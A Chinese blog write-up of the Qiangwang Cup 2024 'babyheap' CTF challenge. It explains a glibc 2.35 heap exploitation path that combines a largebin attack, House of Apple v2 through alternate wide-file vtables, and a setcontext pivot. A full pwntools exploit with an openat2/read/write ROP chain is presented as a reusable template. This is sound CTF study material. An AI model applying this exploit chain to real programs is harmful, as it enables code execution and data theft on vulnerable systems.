Zj_W1nd's BLOG

How2Heap实战——强网杯2024babyheap

2024/11/10

题目分析

这个题目给了相当多的check:

  • 沙箱ban了open,openat和execve,glibc 2.35, 释放有UAF, chunk只能分配0x500-0x5FF大小,其余大小都会变成0x500,最多5个,只有一次edit一次show。
  • 程序开始会把IO_wfile_jumps向后的page全写0
  • 同时允许一个经过check的地址写16字节,check不允许写stdin到stdin向后0x1b000,以及stdin-1C67F700往前(非libc段不让写)
  • 另外提供了一个接口,允许查询USER环境变量或者将其修改为“flag?",只能用一次。
  • Largebin attack会用完5个块,同时也会用掉唯一一次UAF edit。后续没有办法再次控制chunk内容
  • 而且题目提供的任意地址写无法写glibc前面(也就是堆)地址,同时也没法直接写已经打开的IO(0-2和IOlistall都不行)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned __int64 change_user_env()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( flag_only_once )
{
my_print((__int64)"What ! Are you kidding me ? \n");
exit(1);
}
flag_only_once = 1;
my_print((__int64)"What do you want from the environment ? \n");
my_print((__int64)"Maybe you will be sad !\n");
__isoc99_scanf("%d", &v1);
if ( v1 == 3 )
{
setenv("USER", "flag?", 1);
}
else
{
if ( v1 > 3 )
goto LABEL_11;
if ( v1 == 1 )
{
cur_user();
}
else
{
if ( v1 != 2 )
LABEL_11:
exit(1);
putenv("USER=flag?");
}
}
return v2 - __readfsqword(0x28u);
}
1
2
3
4
5
6
7
8
9
10
11
void *check_addr()
{
void *result; // rax

if ( stdin <= buf && &stdin[512] > buf ) // 不允许写012和iolistall
exit(1);
result = buf;
if ( &stdin[-0x21AAA0u] > buf ) // 不允许写heap和程序本身
exit(1);
return result; // 其他的libc都可以改...
}

这种情况下我们该怎么攻击?下面介绍几种通过这个题其他队伍解出来的wp获得的思路,感觉下面这些再不通就没什么太多别的思路了。

思路?

_IO_wfile_jumps_mmap与House of apple

在house_of_apple v2中,劫持控制流依靠的是IO_wfile_overflow函数,利用了对这部分vtable没有检查的特性。但其实这个函数存在于三个虚表中,包括IO_wfile_jumpsio_wfile_jumps_mmap以及io_wfile_jumps_maybe_mmap。这道题其实没有控制IO_wfile_jumps_maybe_mmap,因此其实我们还是能用house of apple。

在pwndbg中确定io_wfile_overflow的地址后利用search pointer可以看到:

1
2
3
4
5
pwndbg> search -t pointer 0x7ffff7de1390
Searching for value: b'\x90\x13\xde\xf7\xff\x7f\x00\x00'
libc-2.35.so 0x7ffff7f71f58 0x7ffff7de1390 # offset: 0x216f58
libc-2.35.so 0x7ffff7f72018 0x7ffff7de1390 # offset: 0x217018
# io_wfile_jumps: offset: 0x2170c0

尽管io_wile_jumps被写0了,我们还是有2个虚表存了这个函数。在IDA中看了下,这两个表libc都没有给符号,但是都在io_wfile_jumps上面一点点所以利用应该也是比较简单。我们把本来写IO_wfile_jumps的地方写成IO_wfile_Jumps-0xc0就行了。

5个块够发起一次largebin attack了,所以下面附上笔者自己复现的思路,同时顺手总结一下通解板子希望下次能快点。有空抽出来单发一篇blog

拆解步骤-House of apple v2解决沙箱堆

上次ciscn的那道题复现细节太多了,没有很好地整体把握,有点机械的对着exp解释代码,这次勤来看这篇应该不会有太大问题了。

  1. 确定漏洞点,我们是否能有一次largebin attack的机会?是不是能UAF控制largebin的内容?如果是,那这题只需要绕过题目的限制就结束了

  2. 我们都知道House of apple的链条,下面具体说一下
    House of Apple-v2是一系列利用高版本libc下不对IO_file_complete中处理宽字符流的_wide_data的vtable做检查的特性实现的攻击手段。具体思想是伪造io_file,然后有两步的跳转:

  • 伪造wide_data指向一个可控地址,wide_data也是类似于一个IO_file的结构体

  • 控制wide_data的vtable字段,让vtable指向可控地址

  • vtable+0x68写为我们要跳转的地方(exit的时候调用的io_wfile_overflow)

  1. 没有沙箱这里就可以使用one_gadget等手段了,有沙箱就涉及到栈迁移+ROP或ret2sc的思想

我们利用setcontext+61(glibc 2.29前是setcontext+53并且能用rdi控制)这个gadget,在rdx+0xa0写入fakestack的地址,在rdx+0xa8写入第一条ROP指令起点(写个ret就行)注意要观察跳入setcontext的时候rdx或者rdi寄存器的内容。比如如果低于2.34的版本可以打free_hook然后rdi会是我们的fakeio地址。这道题是直接通过exit退出,调试发现跳入setcontext的时候rdx就是wide_data的地址

后面就可以执行我们的ROP链了。

exp(板子和思路重要)

对于涉及来回偏移,overlap复用空间等等操作来说,pwntools的FileStructure()就不那么好用了,可以参考自己写的下面这个带有偏移的板子来构造,单一chunk包含所有信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *
from pwn import p64,u64
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]
context.log_level='info'
context.arch='amd64'
elf = ELF("./pwn",checksec=False)
libc=elf.libc
p = process("./pwn")
#io = gdb.debug("./pwn")
def add(size):
p.recvuntil(b'Enter your choice: \n')
p.sendline(b'1')
p.recvuntil(b'Enter your commodity size \n')
p.sendline(str(size).encode())

def delete(idx):
p.recvuntil(b'Enter your choice: \n')
p.sendline(b'2')
p.recvuntil(b'Enter which to delete: \n')
p.sendline(str(idx).encode())

def edit(idx, content):
p.recvuntil(b'Enter your choice: \n')
p.sendline(b'3')
p.recvuntil(b'Enter which to edit: \n')
p.sendline(str(idx).encode())
p.recvuntil(b'Input the content \n')
p.send(content)

def show(idx):
p.recvuntil(b'Enter your choice: \n')
p.sendline(b'4')
p.recvuntil(b'Enter which to show: \n')
p.sendline(str(idx).encode())

def secret(buf, content):
p.recvuntil(b'Enter your choice: \n')
p.sendline(b'6')
p.recvuntil(b'Input your target addr \n')
p.send(buf)
p.send(content)
### largebin attack 预备
# 沙箱堆风水不影响large
add(0x520) # 1
add(0x520) # 2
add(0x510) # 3
delete(1) # 1 in unsorted
add(0x530) # 4, 1 in largebin,3<1,我们等会用来触发攻击
show(1)
# ---------------leak---------------
p.recvuntil(b'The content is here \n')
libc_base = u64(p.recv(8)) - 0x21b110
print("[+] libc_base: ", hex(libc_base))
libc.address = libc_base

IO_list_all = libc_base + 0x21b680
rtld_global = libc_base + 0x29c040
link_map = libc_base + 0x29d2e0
setcontext = libc.symbols['setcontext']+61
mprotect = libc.symbols['mprotect']

p.recv(8)
heap_base = u64(p.recv(8))-0x1950
print("[+] heap_base: ", hex(heap_base))
# ---------------leak---------------
### -----------orw ROP chain using openat2: 基于glibc2.35, 再碰见2.35的或许可以直接套--------------
ret = libc_base+0x2a3e6
pop_rdi=libc_base+0x2a3e5
pop_rsi=libc_base+0x2be51
pop_rdx_rbx=libc_base+0x904a9
pop_rax=libc_base+0x45eb0
pop_rcx=libc_base+0x3d1ee
pop_r8=libc_base+0x1659e6
syscall=libc_base+0x91316
flag_addr=heap_base+0x1950+0x100 # 随便换
payload=p64(pop_rdi)+p64(437)+p64(pop_rsi)+p64(0xffffffffffffff9c)+p64(pop_rdx_rbx)+p64(flag_addr)+p64(0)+p64(pop_rcx)+p64(heap_base+0x100)+p64(pop_r8)+p64(24)+p64(libc.sym["syscall"]) # openat2,这里换open也行
payload+=p64(pop_rdi)+p64(0x3)+p64(pop_rsi)+p64(heap_base)+p64(pop_rdx_rbx)+p64(0x30)+p64(0)+p64(libc.sym["read"]) # read
payload+=p64(pop_rdi)+p64(1)+p64(libc.sym["write"]) # write
fake_stack=heap_base+0x1950+0x200 # 固定
# 确定flag的地址 填到flag里
### ---------------------------------------------------------------------------------------------
### ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓重要↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
# 下面的-0x10是因为edit写入是从内容开始写,而io_list_all到时候会被改成带有元数据的起始地址,-0x10
# 写成这样是更方便理解
fs_wdata = fit( # overlap 等于wide_vtable和wide_data在一起
{
# 前4字段,为了让我们能取回这个块,保留好
0x0:p64(libc_base+0x21b110), # 0x520的bin地址
0x8:p64(libc_base+0x21b110),
0x10:p64(heap_base+0x1950), # self
0x18: p64(IO_list_all-0x20), # target-0x20

0xa0-0x10: heap_base+0x1950+0x100, # wide_data 指向自己+0x100
0xd8-0x10: libc.sym._IO_wfile_jumps-0xc0,
# wide_data+wide_vtable:
0x0+0x100-0x10: b"flag".ljust(8,b"\x00"), # 随便填的
0x18+0x100-0x10: p64(0x0), # apple v2的要求
0x30+0x100-0x10: p64(0x0), # apple v2的要求
0x68+0x100-0x10: p64(setcontext), # _wide_vtable -> wdoallocate的位置 控制流触发
## setcontext所需要的参数:
0xa0+0x100-0x10: p64(fake_stack),
0xa8+0x100-0x10: p64(ret), # mov rdx+0xa8, push rcx, 返回地址
## _wide_data->_wide_vtable 指向自己+0x100,和widedata平齐
0xE0+0x100-0x10: heap_base+0x1950+0x100,
# ropchain/fake stack:
0x200-0x10: payload # 换shellcode也行,那么上面0xa8就要写这里的地址了
},
filler=b"\x00",
)

print(f"[+]_IO_list_all: {fs_wdata}")
delete(3)
edit(1,fs_wdata)
add(0x550) # 4, largebin attack
add(0x508) # 5,取出刚刚的chunk3,让target写入chunk1的地址
gdb.attach(p,"b * setcontext+61")
add(0x550) # 6 超出上限,用于触发exit的操作
p.interactive()
# exit->fcloseall(__flcloseall)->IO_cleanup->_IO_flush_all_lockp

tls_dtor_lists

利用程序ld段进行攻击。

libc got-疑似预期解

CATALOG
  1. 1. 题目分析
  2. 2. 思路?
    1. 2.1. _IO_wfile_jumps_mmap与House of apple
      1. 2.1.1. 拆解步骤-House of apple v2解决沙箱堆
      2. 2.1.2. exp(板子和思路重要)
    2. 2.2. tls_dtor_lists
    3. 2.3. libc got-疑似预期解